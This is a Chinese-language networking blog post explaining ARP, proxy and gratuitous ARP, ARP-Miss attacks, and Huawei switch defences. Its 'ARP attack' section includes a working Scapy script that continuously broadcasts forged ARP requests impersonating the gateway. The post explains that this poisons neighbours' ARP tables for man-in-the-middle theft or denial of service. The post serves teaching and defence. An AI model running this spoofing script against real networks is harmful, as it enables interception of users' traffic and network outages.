ARP协议

ARP 原理

ping 同网段的地址会向广播域发送 ARP 广播,询问 IP 地址所使用的设备的 MAC 地址(who has 192.168.101.254?)。当该 IP 地址所使用的设备收到这个 ARP 报文时,向对方回应自己的 mac 地址(192.168.101.254 is at 54:89:98:31:12:4d)。发送 ARP 广播的设备收到 ARP 回应报文时,会把对方的 mac 地址和 IP 地址添加到自己的 ARP 表项中。下一次发送 ping 报文时,参照 ARP 表中的 MAC 地址发送,不再发送 ARP 请求。

ARP 代理(ARP Proxy):一般来说,与不同网段的设备通信时,不发送 ARP 广播。但部分没有路由功能,或是有路由功能,但下一跳指向本地的设备,会发送跨网段的 ARP 报文。当出现跨网段的 ARP 请求时,路由器将自己的网关的 MAC 地址返回给发送 ARP 广播请求发送者,实现 MAC 地址代理,最终使得主机能够通信,这就是 ARP 代理。

免费ARP(Gratuitous ARP):通常,免费 ARP 发生在设备配置的时候。一个主机通过二层广播发送一个免费 ARP 请求来确定是否发生 IP 地址冲突,这个二层广播帧的源 IP、目的 IP 都是自己的 IP 地址。如果收到 ARP 应答报文,说明广播域内有一个相同 IP 的设备在使用这个 IP 地址,主机就会通过告警来提示使用者这个 IP 存在冲突。

广播域内收到 ARP 请求的设备,会顺路将发送者的源 mac 和源 IP 的对应关系放到 ARP 表项中。

ARP 攻击

from scapy.all import *
import time

eth = 'VMware Virtual Ethernet Adapter for VMnet8' ##网卡名

arp = Ether(#构造以太网头
    src='54:89:98:DA:31:D6',#本机MAC
    dst='FF:FF:FF:FF:FF:FF'#广播发送
)/ARP(#构造ARP请求
    op=1,#opcode,op1是request,op2是reply
    hwsrc='54:89:98:DA:31:D6',#本机MAC
    psrc='192.168.209.209',#源地址
    hwdst='FF:FF:FF:FF:FF:FF',#广播发送
    pdst='192.168.209.252'#目的地址
)
while True:
    sendp(arp,iface=eth)#发送伪造的ARP请求
    time.sleep(0.2)

攻击者通过构造虚假的 ARP 请求,将本机 mac 地址作为源 mac 地址,将广播地址作为目的 mac 地址。但攻击者会在 IP 地址上做手脚:将源 IP 地址修改为网关的 IP 地址,将目的 IP 地址设为随意的一个同网段的地址。
以上操作,攻击者将自己伪装成网关地址,向局域网内不断广播 ARP 请求,请求 192.168.209.252 的 mac 地址。广播域内收到这个 ARP 请求的设备,会顺路将'192.168.209.209'和'54:89:98:DA:31:D6'这个虚假的对应关系放到 ARP 表项中,设备就会认为攻击者的 mac 地址是网关的 mac 地址,将接下来的所有数据发送给攻击者。攻击者可以通过这种手段,窃取密码或者文件(中间人攻击),或者将网关的 mac 地址构造成不存在的 mac 地址,从而进行断网攻击。

ARP 防御

可以配置静态 ARP。

可以使用 802.11x 协议,对接入设备进行认证。

可以使用 Dynamic ARP Inspection(动态ARP检测)功能,简称 DAI 功能。通过检查 ARP(Address Resolution Protocol,地址解析协议)报文的合法性,发现并防止 ARP 欺骗攻击,增强网络安全性。DAI 功能主要分为以下两类:

  1. 端口 DAI 功能:对指定端口接收到的 ARP 报文进行合法性检测,便于发现并防止 ARP 欺骗攻击;ARP 报文合法性检测的依据为端口 IP source Guard 绑定表项,具体检测原理是:接收到的 ARP 报文中,发送端 IP 地址,源 MAC 地址及 VLAN ID 与端口 IP source Guard 绑定表项完全匹配,则该 ARP 报文为合法报文,对其进行转发;否则,该 ARP 报文为非法报文,将其丢弃,并记录日志信息。
  2. 全局 DAI 功能:对所有端口接收到的 ARP 报文进行合法性检测,防止伪冒用户发送伪造的 ARP 报文,导致设备建立错误的 ARP 表项。ARP 报文合法性检测的依据为全局 IP source Guard 绑定表项,具体检测原理是:接收到的 ARP 报文中,发送端 IP 地址与全局 IP source Guard 绑定表项中的 IP 地址相同,但源 MAC 地址不同时,该 ARP 报文为伪造报文,将其丢弃,不记录日志信息。

补充

1. ARP MISS攻击

设备在转发报文时,如果报文的目的地址和设备三层接口地址在同一个网段,正常情况下会查找 arp 进行直接转发,如果查找不到 arp 表项,就会上送 CPU 触发ARP-MISS流程来学习 ARP。

CPU 收到 ARP Miss 消息后,首先生成一个 ARP 假表项发送给设备,防止相同的 ARP-Miss 消息不断上报;然后 CPU 发送 ARP 请求报文,在收到回应后,用学习到的 ARP 表项替换原有的假表项发送给设备,流量可以正常转发。

动态 ARP 假表项有一个老化时间(默认为10S),在老化时间之内,将后续发送到此 IP 的报文直接丢弃,防止 CPU 过载。老化时间超时后,假表项被清除,设备转发时如果再次匹配不到对应的 ARP 表项,就重新生成 ARP Miss 消息上送给 CPU。如此循环重复。

对于同一个源 IP 发送的触发 ARP-MISS 流程报文,一秒钟内如果超过门限值(默认为5个),系统会认为这是一种非法的攻击报文,就会针对该 ip 地址下发一条 ACL 规则,丢弃该源 IP 发送的所有需要上送 CPU 处理的报文;如果 50s 之内系统没有再次检测到该源 ip 发送的报文有 ARP-Miss 超过门限的情况,该 ACL 规则会自动删除,触发 ARP-Miss 流程的报文可以继续上送 CPU 处理。

查看通过和丢弃的报文数量,如果丢弃的消息数量大于通过的,则可认为是 ARP Miss 攻击;查看设备上是否有大量的 ARP 临时表项,如果存在大量(大概15个或者15个以上)的 MAC ADDRESS 字段为 Incomplete 的临时表项,说明正在发生 ARP Miss 攻击。

以 Huawei 设备为例:

display cpu-defend statistics packet-type arp-miss all ##查看 CPU-Defend 丢包计数
display arp anti-attack arpmiss-record-info ##查看攻击源
reset cpu-defend statistics packet-type arp-miss all ##清除 ARP-Miss 计数

1.1 原因

大多数是因为有人在执行网段扫描,当同时扫描过多的,且没有在 ARP 表项中的 IP 地址,会被设备判定为 ARP-Miss 攻击。

也可能存在 STP-TC 攻击。

1.2 解决方案

以 Huawei 设备为例:可以通过延长 ARP 假表项老化时间来缓解 CPU 过高问题:arp-fake expire-time {value}(value:老化时间,单位为秒)。

可以通过调整 ARP Miss 的 CPCAR 值来缓解 CPU 过高问题:

cpu-defend policy 1
car packet-type arp-miss cir 64 ##降低arp-miss上送数量
quit
cpu-defend-policy 1 global
  • 最好还是通过限制源IP的ARP-Miss速度,系统会通过识别超过速率的源IP并下发ACL进行惩罚,默认情况下,所有IP地址的ARP Miss报文源抑制速率为30pps,默认惩罚时间为5s。
arp-miss speed-limit source-ip maximum 10  ##限制源IP产生arp-miss速率为10pps,缺省为30pps
arp-miss speed-limit source-ip 1.1.1.1 maximum 200  ##配置白名单,防止误惩罚
posted @ 2024-03-29 16:26  Désiré  阅读(71)  评论(0编辑  收藏  举报